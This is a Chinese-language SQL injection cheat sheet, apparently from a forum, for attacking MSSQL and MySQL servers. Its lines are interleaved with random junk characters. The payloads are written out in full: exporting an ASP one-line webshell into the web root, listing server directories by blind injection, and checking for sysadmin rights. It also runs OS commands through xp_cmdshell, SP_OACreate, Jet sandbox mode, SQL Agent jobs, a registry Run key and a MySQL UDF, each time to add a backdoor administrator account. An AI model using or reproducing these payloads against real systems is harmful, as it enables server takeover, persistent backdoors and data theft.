MSSQL语句导出一句话木马
4 K4 k1 M+ p) m2 a7 P首先确定网站的WEB路径
" I. ?. \! N8 ]+ ~! T+ q. R;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
( i" Y2 M- l, a0 m( [0 n' h6 j9 ?5 k ~& P! D, y
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- ' p) Y I4 p8 Q' f7 d+ j
//将一句话木马插入表中! |: N8 M9 M! @) P& q) S6 |$ V* C
7 G3 X1 k/ y# @) b7 s6 M9 K0 ?;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
$ y& r8 r+ u$ E( ~ c" |//导出一个ASP文件
6 x* g, }4 l" [ R& [+ x5 M
- b# }7 K* G8 }2 m* N1 W# Z& k8 O) l6 R# ^7 g5 L' g3 d4 d
关于MSSQL列目录3 o2 c0 I! X& H5 {* H
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
7 C- W, _( f9 I' E AInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
V3 j1 D2 V7 v& e3 a9 a( b ]2 a# x) v
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
2 Q* m$ c" h2 V, w! d: g* y6 o) S& ]; z, [8 f# G
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
/ P: t2 V: i3 s5 } ^8 |
9 J2 M0 r' F5 o/ R9 R6 K0 ]. gAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符4 v" o' D! l. v0 q
6 ?) n: A! I( k0 Q/ [( l- c0 @
/ m7 m( \+ |0 C1 o数据库版本和权限查看
0 \9 Y( U7 [ Wand 1=(select @@VERSION) //查看详细的数据库信息.
7 S+ O8 M, P' K9 ^0 `# a( p+ b6 X3 dand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA: v3 p* {. f: c; c5 c
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
) {+ p9 F1 T0 F$ Z( k' F2 \6 u* ]* i3 H- g2 W
- B _. l- E% ^0 A1.利用xp_cmdshell执行命令
/ B8 G4 c$ W$ J# Y: Dexec master..xp_cmdshell 'net user rfire 123456 /add'
7 |- a; U8 G: T& o2 K( lexec master..xp_cmdshell 'net localgroup administrators rfire /add'4 q3 W) h9 Z8 s4 L" S: W
0 o9 u$ C$ y! U2 ]恢复xp_cmdshell存储过程0 L6 t! A2 M. y6 B l; W- y( g
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
& k3 l& z6 g8 F- H1 s+ [' n0 R+ \( }# C/ p+ d% a8 U
1 ?& J! G6 z6 |2 v. R
2.利用SP_OAcreate和SP_OAMETHOD执行命令
^9 \7 K! F) n- T& j在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
2 v! H; v+ r. o6 XDECLARE @shell INT //建立一个@shell实体
. f6 a* U4 V; ^6 DEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例' J9 d8 y2 {5 n" @6 h0 |
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例9 o6 ]+ \/ s9 }: r4 l* b
2 M. v3 V3 n! l9 m+ ? @! `$ m- [
* `" K3 y8 u! j* _& Z z2 Z+ S3.利用沙盒模式& j4 R+ z7 G6 q ?% d9 O: T9 E5 o; H
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
3 h/ K; y5 w! n7 V1 U开启沙盒模式:
1 F6 y" @! @3 C* N6 h# kEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',09 [" F1 l$ s o2 i
* D6 h. [) \( k执行命令:1 }7 ?2 P8 F& _
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
. _, A; |# `+ N, A/ d) R+ _5 u/ I6 _: ?6 }1 G U' k$ _+ T3 [0 u- y1 U
) }% B& g: F: |5 q: U: n8 X) q1 M+ a4.利用SQL代理执行命令4 O0 J6 j& K: d1 T% t) r
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
8 [8 j, Z& e0 d! Z/ x* w
/ k, [5 H$ \9 f' o: C8 c/ Z9 T执行命令:
5 B6 N- ]) g/ P) {+ I' S, }use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错% N% `" k5 n* o6 x1 F1 v
exec sp_add_job 'x'" g8 e$ g- R0 g4 d% n
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业! R) B5 z* g7 p
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
( h( x1 p0 E4 S0 {+ y. s' p+ ^1 R m: |9 F( j4 _) i
% l7 z9 \+ k3 G! T3 Q1 R# B7 [6 z
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)+ z- j. A( S7 j$ K* J3 _! m. Q
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
6 T' i4 U2 L: b U! Z/ |5 \; g3 b. j3 q) Z3 d
( N" g3 p9 }8 V" ^4 _! Q7 k6.MYSQL的命令执行
6 q8 ~7 {1 p* t3 f9 sMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)# P- J7 E0 I! O! `! t1 Z
首先要在su.php下导出c:\windows\udf.dll. p6 ^4 ^* ]" q
导出后执行创建自定义函数命令:- N1 P H: i% Y+ [3 B
Create Function cmdshell returns string soname 'udf.dll'1 u- i$ d+ b$ z5 R1 k6 u( F( L
执行命令
/ ^8 ]5 @$ p9 d; q7 _1 x/ rselect cmdshell('net user rfire 123456 /add')0 |" L k1 W3 W. j! X% ^- ]& w
执行后删除函数 drop function cmdshell
9 Y, {% e& ?. g7 G* p5 |- s( W( p |